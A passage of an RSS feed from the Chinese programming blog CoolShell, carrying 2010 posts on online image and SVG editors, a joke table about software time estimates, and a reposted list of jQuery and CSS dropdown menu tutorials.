isPermaLink=\"false\">http://coolshell.cn/?p=3244</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>以前向大家介绍过在线的IDE，还有在线的编译器，还有 在线的画UML图的网站，在这篇文章里还介绍了一个在线的CSS制作服务，今天给大家介绍两个在线的作图编辑服务...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3244.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3244.html\">在线作图编辑服务</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>以前向大家介绍过<a href=\"https://coolshell.cn/articles/1883.html\" target=\"_blank\">在线的IDE</a>，还有<a href=\"https://coolshell.cn/articles/1310.html\" target=\"_blank\">在线的编译器</a>，还有 <a rel=\"bookmark\" href=\"https://coolshell.cn/articles/776.html\" target=\"_blank\">在线的画UML图的网站</a>，在<a href=\"https://coolshell.cn/articles/3013.html\" target=\"_blank\">这篇文章里</a>还介绍了一个<a href=\"http://css3.mikeplate.com/\" target=\"_blank\">在线的CSS制作服务</a>，今天给大家介绍两个在线的作图编辑服务。</p>\n<p>一个看似就是Web版的Photoshop：<a href=\"http://pixlr.com/editor/\" target=\"_blank\">http://pixlr.com/editor/</a> （用Flash做的）</p>\n<figure id=\"attachment_3245\" aria-describedby=\"caption-attachment-3245\" style=\"width: 585px\" class=\"wp-caption aligncenter\"><a href=\"http://pixlr.com/editor/\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-3245 \" title=\"Photo Editor Online\" src=\"https://coolshell.cn/wp-content/uploads/2010/10/Photo-editor.jpg\" alt=\"\" width=\"585\" height=\"365\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/10/Photo-editor.jpg 650w, https://coolshell.cn/wp-content/uploads/2010/10/Photo-editor-300x187.jpg 300w, https://coolshell.cn/wp-content/uploads/2010/10/Photo-editor-432x270.jpg 432w\" sizes=\"(max-width: 585px) 100vw, 585px\" /></a><figcaption id=\"caption-attachment-3245\" class=\"wp-caption-text\">Photo Editor Online 在线服务</figcaption></figure>\n<p><span style=\"color: #ffffff;\">&#8212;&#8211;</span></p>\n<p>一个是作矢量图的，叫SVG Editor：</p>\n<p><a href=\"http://svg-edit.googlecode.com/svn-history/r1771/trunk/editor/svg-editor.html\" target=\"_blank\">http://svg-edit.googlecode.com/svn-history/r1771/trunk/editor/svg-editor.html</a></p>\n<p><span id=\"more-3244\"></span></p>\n<figure id=\"attachment_3246\" aria-describedby=\"caption-attachment-3246\" style=\"width: 585px\" class=\"wp-caption aligncenter\"><a href=\"http://svg-edit.googlecode.com/svn-history/r1771/trunk/editor/svg-editor.html\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-3246 \" title=\"svg Editor\" src=\"https://coolshell.cn/wp-content/uploads/2010/10/svg-editor.jpg\" alt=\"\" width=\"585\" height=\"388\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/10/svg-editor.jpg 650w, https://coolshell.cn/wp-content/uploads/2010/10/svg-editor-300x198.jpg 300w\" sizes=\"(max-width: 585px) 100vw, 585px\" /></a><figcaption id=\"caption-attachment-3246\" class=\"wp-caption-text\">SVG Editor 矢量图编辑</figcaption></figure>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/lua-150x150.gif\" alt=\"Lua简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_title\">Lua简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3244.html\">在线作图编辑服务</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3244.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>75</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>开发时间估计</title>\n\t\t<link>https://coolshell.cn/articles/3218.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3218.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 25 Oct 2010 01:49:27 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Plan]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[Project]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3218</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>项目管理中，项目任务时间估计是其中一个重要的环节。各种管理员人都觉得时间估计很重要，都希望时间估计能准确一些，但是，事实却并不如此。事实上，会下面这样的结果。 ...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3218.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3218.html\">开发时间估计</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<p style=\"text-align: left;\">项目管理中，项目任务时间估计是其中一个重要的环节。各种管理员人都觉得时间估计很重要，都希望时间估计能准确一些，但是，事实却并不如此。事实上，会下面这样的结果。</p>\n<table style=\"text-align: left;\">\n<thead>\n<tr>\n<th>目前状态</th>\n<th>完成进展</th>\n<th>剩余任务估计</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>任务刚被分配，还没有做调查</td>\n<td>完成0%</td>\n<td>大约2周</td>\n</tr>\n<tr>\n<td>完成需求分析和调查，攻克了难点</td>\n<td>完成50%</td>\n<td>大约2周多一点</td>\n</tr>\n<tr>\n<td>我几乎做完了。只有出了点我事先没有想到的岔子。<br />\n不过，我已找到解决方法了。只是还需要一些时间</td>\n<td>完成90%</td>\n<td>大约2周多一点</td>\n</tr>\n<tr>\n<td>我全部做完了，只是还要写文档，做Code Review，<br />\n单元测试和错误处理</td>\n<td>完成99%</td>\n<td>还需要2周</td>\n</tr>\n</tbody>\n</table>\n<p style=\"text-align: left;\">呵呵，这是怪我们的项目管理的方法论呢？还是怪我们太过草率的程序员呢？</p>\n<p style=\"text-align: left;\">\n<p style=\"text-align: left;\">\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/10217.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/Work-Overtime-150x150.jpg\" alt=\"加班与效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10217.html\" class=\"wp_rp_title\">加班与效率</a></li><li ><a href=\"https://coolshell.cn/articles/4951.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" alt=\"软件公司的两种管理方式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4951.html\" class=\"wp_rp_title\">软件公司的两种管理方式</a></li><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3218.html\">开发时间估计</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3218.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>26</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>30+ Web下拉菜单</title>\n\t\t<link>https://coolshell.cn/articles/3207.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3207.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 20 Oct 2010 06:06:43 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[CSS]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[jQuery]]></category>\n\t\t<category><![CDATA[Menu]]></category>\n\t\t<category><![CDATA[UI]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3207</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>以前给大家介绍过13个不错的Javascript和CSS的菜单、20个优秀的Javascript导航技术、30种时尚的CSS网站导航条，今天在网上看到一篇文章其...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3207.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3207.html\">30+ Web下拉菜单</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>以前给大家介绍过<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1660.html\" target=\"_blank\">13个不错的Javascript和CSS的菜单</a>、<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/918.html\" target=\"_blank\">20个优秀的Javascript导航技术</a>、<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/562.html\" target=\"_blank\">30种时尚的CSS网站导航条</a>，今天在网上看到一篇文章其收集了30多个下拉菜单（分为两类，jQuery和CSS+Javascript的），转过来。</p>\n<p>原文：<a href=\"http://smashinghub.com/3-useful-drop-down-menu-scripts-to-enhance-header-navigation.htm\" target=\"_blank\">http://smashinghub.com/3-useful-drop-down-menu-scripts-to-enhance-header-navigation.htm</a></p>\n<h4>jQuery</h4>\n<h3><strong><a href=\"http://www.dynamicdrive.com/dynamicindex1/ddsmoothmenu.htm\"><strong>Smooth Navigation Menu</strong></a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4179\" title=\"Drop-Down-Menu-Scripts-5\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5.jpg\" alt=\"Drop Down Menu Scripts 5 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"300\" /><br />\n</a></strong></p>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5.jpg\"></a></strong></p>\n<p><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5.jpg\"></a></p>\n<p><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5.jpg\"> </a></p>\n<p><span id=\"more-3207\"></span></p>\n<p><strong><br />\n</strong></p>\n<h3><strong> </strong><strong><a href=\"http://javascript-array.com/scripts/jquery_simple_drop_down_menu/\">Simple Drop Down Menu Plugin</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-6.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4178\" title=\"Drop-Down-Menu-Scripts-6\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-6.jpg\" alt=\"Drop Down Menu Scripts 6 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"300\" /></a><br />\n</strong></p>\n<h3><strong><a href=\"http://www.filamentgroup.com/lab/jquery_ipod_style_and_flyout_menus/\">Dropdown, iPod Drilldown, and Flyout styles </a></strong></h3>\n<div><strong><br />\n</strong></div>\n<div><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/drilldown.gif\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4185\" title=\"drilldown\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/drilldown.gif\" alt=\"drilldown 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"360\" /></a></div>\n<h3><strong><a href=\"http://designreviver.com/tutorials/jquery-css-example-dropdown-menu/\">jQuery and CSS Example</a><br />\n</strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-7.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4177\" title=\"Drop-Down-Menu-Scripts-7\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-7.jpg\" alt=\"Drop Down Menu Scripts 7 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"300\" /></a><br />\n</strong></p>\n<h3><strong> </strong><strong><a href=\"http://www.webdesigndev.com/web-development/create-the-fanciest-dropdown-menu-you-ever-saw\">Create the Fanciest Drop Down Menu You Ever Saw</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-8.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4176\" title=\"Drop-Down-Menu-Scripts-8\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-8.jpg\" alt=\"Drop Down Menu Scripts 8 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"300\" /></a><br />\n</strong></p>\n<h3><strong><a href=\"http://net.tutsplus.com/tutorials/javascript-ajax/a-different-top-navigation/\">A Different Top Navigation</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-9.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4174\" title=\"Drop-Down-Menu-Scripts-9\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-9.jpg\" alt=\"Drop Down Menu Scripts 9 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"300\" /></a><br />\n</strong></p>\n<h3><strong> </strong><strong><a href=\"http://css-tricks.com/simple-jquery-dropdowns/\">Simple jQuery Dropdowns</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-15.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4169\" title=\"Drop-Down-Menu-Scripts-15\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-15.jpg\" alt=\"Drop Down Menu Scripts 15 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"300\" /></a><br />\n</strong></p>\n<h3><strong><a href=\"http://www.noupe.com/tutorial/drop-down-menu-jquery-css.html\"><strong>Sexy Drop Down Menu with jQuery and CSS</strong></a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-1.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4183\" title=\"Drop-Down-Menu-Scripts-1\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-1.jpg\" alt=\"Drop Down Menu Scripts 1 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"300\" /></a><br />\n</strong></p>\n<h3><strong><a href=\"http://net.tutsplus.com/tutorials/html-css-techniques/how-to-create-a-drop-down-nav-menu-with-html5-css3-and-jquery/\"><strong>How to Create a Drop Down Nav Menu with HTML5, CSS3, and jQuery</strong></a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-31.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4182\" title=\"Drop-Down-Menu-Scripts-3\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-31.jpg\" alt=\"Drop Down Menu Scripts 31 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"300\" /></a><br />\n</strong></p>\n<h3><strong><a href=\"http://www.jankoatwarpspeed.com/post/2009/07/28/reinventing-drop-down-with-css-jquery.aspx\">Reinventing a Drop Down with CSS and jQuery</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-14.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4168\" title=\"Drop-Down-Menu-Scripts-14\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-14.jpg\" alt=\"Drop Down Menu Scripts 14 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"300\" /></a><br />\n</strong></p>\n<h3><strong> </strong><strong><a href=\"http://users.tpg.com.au/j_birch/plugins/superfish/\">Superfish</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-13.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4170\" title=\"Drop-Down-Menu-Scripts-13\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-13.jpg\" alt=\"Drop Down Menu Scripts 13 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"300\" /></a></strong><strong> </strong><strong><a href=\"http://www.clarklab.net/blog/posts/animated-drop-down-menu-with-jquery/\"></a></strong></p>\n<h3><strong><a href=\"http://www.clarklab.net/blog/posts/animated-drop-down-menu-with-jquery/\">Animated Drop Down Menu with jQuery</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-12.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4171\" title=\"Drop-Down-Menu-Scripts-12\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-12.jpg\" alt=\"Drop Down Menu Scripts 12 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"300\" /></a><br />\n</strong></p>\n<h3><strong><a href=\"http://www.filamentgroup.com/lab/jquery_ipod_style_and_flyout_menus/\">jQuery Menu: Dropdown, Drilldown, and iPod Flyout Styles</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-16.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4167\" title=\"Drop-Down-Menu-Scripts-16\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-16.jpg\" alt=\"Drop Down Menu Scripts 16 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"300\" /></a><br />\n</strong></p>\n<h3><strong><a href=\"http://www.givainc.com/labs/mcdropdown_jquery_plugin.htm\">McDropdown jQuery Plugin</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-17.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4166\" title=\"Drop-Down-Menu-Scripts-17\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-17.jpg\" alt=\"Drop Down Menu Scripts 17 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"300\" /></a></strong><strong><a href=\"http://www.hv-designs.co.uk/2009/02/17/sliding-jquery-menu/\"><strong> </strong></a></strong></p>\n<h3><strong><a href=\"http://www.sohtanaka.com/web-design/mega-drop-downs-w-css-jquery/\"><strong>Mega Drop Down Menus with CSS &amp; jQuery</strong></a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-3.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4181\" title=\"Drop-Down-Menu-Scripts-3\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-3.jpg\" alt=\"Drop Down Menu Scripts 3 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"300\" /></a><br />\n</strong></p>\n<h3><strong><a href=\"http://www.hv-designs.co.uk/2009/02/17/sliding-jquery-menu/\"><strong>Sliding jQuery Menu</strong></a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-4.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4180\" title=\"Drop-Down-Menu-Scripts-4\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-4.jpg\" alt=\"Drop Down Menu Scripts 4 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"300\" /></a><br />\n</strong></p>\n<h3><strong><a href=\"http://jdsharp.us/jQuery/plugins/jdMenu/\">jdMenu Hierarchical Menu Plugin</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-18.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4164\" title=\"Drop-Down-Menu-Scripts-18\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-18.jpg\" alt=\"Drop Down Menu Scripts 18 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"300\" /></a><br />\n</strong></p>\n<h3><strong> </strong><strong><a href=\"http://apycom.com/menus/1-dim-gray.html\">Dim Gray Drop Down Menu</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-19.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4163\" title=\"Drop-Down-Menu-Scripts-19\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-19.jpg\" alt=\"Drop Down Menu Scripts 19 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"300\" /></a><br />\n</strong></p>\n<h3><strong><a href=\"http://www.kriesi.at/archives/create-a-multilevel-dropdown-menu-with-css-and-improve-it-via-jquery\">Create a MultiLevel Dropdown Menu with CSS and Improve it with jQuery</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-20.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4162\" title=\"Drop-Down-Menu-Scripts-20\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-20.jpg\" alt=\"Drop Down Menu Scripts 20 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"300\" /></a></strong></p>\n<h3><strong> </strong><strong><a href=\"http://www.queness.com/post/966/jquery-drop-down-menu-for-rss-subscription-tutorial\">jQuery Drop Down Menu for RSS Subscription</a></strong></h3>\n<p><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-11.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4172\" title=\"Drop-Down-Menu-Scripts-11\" src=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-11.jpg\" alt=\"Drop Down Menu Scripts 11 30+ Useful Drop Down Menu Scripts To Enhance Header Navigation\" width=\"500\" height=\"300\" /></a></strong><strong> </strong><strong><a href=\"http://www.queness.com/preview/1047/easy-to-style-jquery-drop-down-menu-tutorial\"></a></strong></p>\n<h3><strong><a href=\"http://www.queness.com/preview/1047/easy-to-style-jquery-drop-down-menu-tutorial\">Easy to Style jQuery Drop Down Menu</a></strong></h3>\n<h2><strong><a href=\"http://smashinghub.com/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-10.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4173\" 